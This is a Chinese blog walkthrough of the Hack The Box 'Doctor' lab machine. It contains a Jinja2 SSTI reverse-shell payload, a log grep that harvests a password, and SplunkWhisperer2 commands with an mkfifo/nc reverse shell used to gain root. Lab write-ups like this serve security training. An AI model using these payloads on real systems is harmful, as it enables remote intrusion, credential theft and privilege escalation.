zoukankan      html  css  js  c++  java
  • HTB-靶机-Doctor

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.209

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    信息枚举收集
    https://github.com/codingo/Reconnoitre 跟autorecon类似
    autorecon 10.10.10.209 -o ./Doctor-autorecon
    
    masscan -p1-65535 10.10.10.209 --rate=1000 -e tun0 > ports
    ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '
    ' ',' | sed 's/,$//')
    nmap -Pn -sV -sC -p$ports 10.10.10.209
    sudo nmap -sS -sV -T4 -O -A -v 10.10.10.209
    
    nmap自动探测工具
    https://github.com/21y4d/nmapAutomator
    
    爆破目录新工具
    https://github.com/phra/rustbuster

    开放了3个端口,先访问80端口,并追加hosts文件

    追加hosts文件
    sudo -- sh -c "echo '10.10.10.209 doctors.htb' >> /etc/hosts"

    随手注册一个账号cntf,密码也是这个,邮箱是cntf@qq.com

    注册完成之后登录进去发现一个New Message

    通过测试点击这个New Message功能,发现存在SSTI模板注入漏洞,可参考:

    https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2---basic-injection

    注入完成触发漏洞在访问的页面上查看网页源代码发现可以通过访问http://doctors.htb/archive 来触发验证漏洞是否成功执行

    在New Message功能处插入反弹shell代码,下面一行随便写

     

    对应反弹shell的代码
    {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash -c 'bash -i >& /dev/tcp/10.10.14.16/8833 0>&1'").read()}}{%endif%}{%endfor%}

    成功反弹shell,查看home目录有两个用户,一个是web,另一个是shaun ,然后执行了一把id命令

    发现用户web隶属于adm组,属于此组的用户用于系统监控并对/var/log目录下的文件进行监控,过滤查询下password关键字

    grep -R -e 'password' /var/log/

    得到下面结果
    /var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

    使用上面重置密码功能所使用的email参数当作密码试试

    搜集下目标靶机上的信息,最终发现开放8089端口的splunk服务是root权限运行,同时也知道此端口可以开启转发器,具体可参考:

    https://community.splunk.com/t5/Getting-Data-In/Can-someone-please-explain-to-me-why-Splunk-Universal-Forwarder/m-p/180067

    可以通过劫持操作完成提权root用户参考:https://airman604.medium.com/splunk-universal-forwarder-hijacking-5899c3e0e6b2

    对应的exploit代码:

    https://github.com/cnotin/SplunkWhisperer2

    相关验证测试操作

    git clone https://github.com/cnotin/SplunkWhisperer2
    cd SplunkWhisperer2/PySplunkWhispherer2
    python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.16 --payload id
    上述利用不成功,因为没有一个有效的账号和密码
    
    验证测试是否能够正常利用
    python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.16 --username shaun --password Guitar123 --payload id

    反弹shell
    python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.16 --username shaun --password Guitar123 --payload  'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 8822 >/tmp/f'
    
    nc -vlnp 8822
    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    Linux 下 发布jar
    Jquery判断浏览器版本
    根据2个字符串得到2个串之间的连续数 并返回list
    Eclipse中user library包管理
    /bin/sh^M: bad interpreter: No such file or directory AND 使用Shell脚本查找程序对应的进程ID,并杀死进程
    split方法为空判断
    apache common 工具
    fmt:message key为el表达式 fmt其他格式化
    集群
    shell脚本控制jar的启动和停止
  • 原文地址:https://www.cnblogs.com/autopwn/p/14764694.html
Copyright © 2011-2022 走看看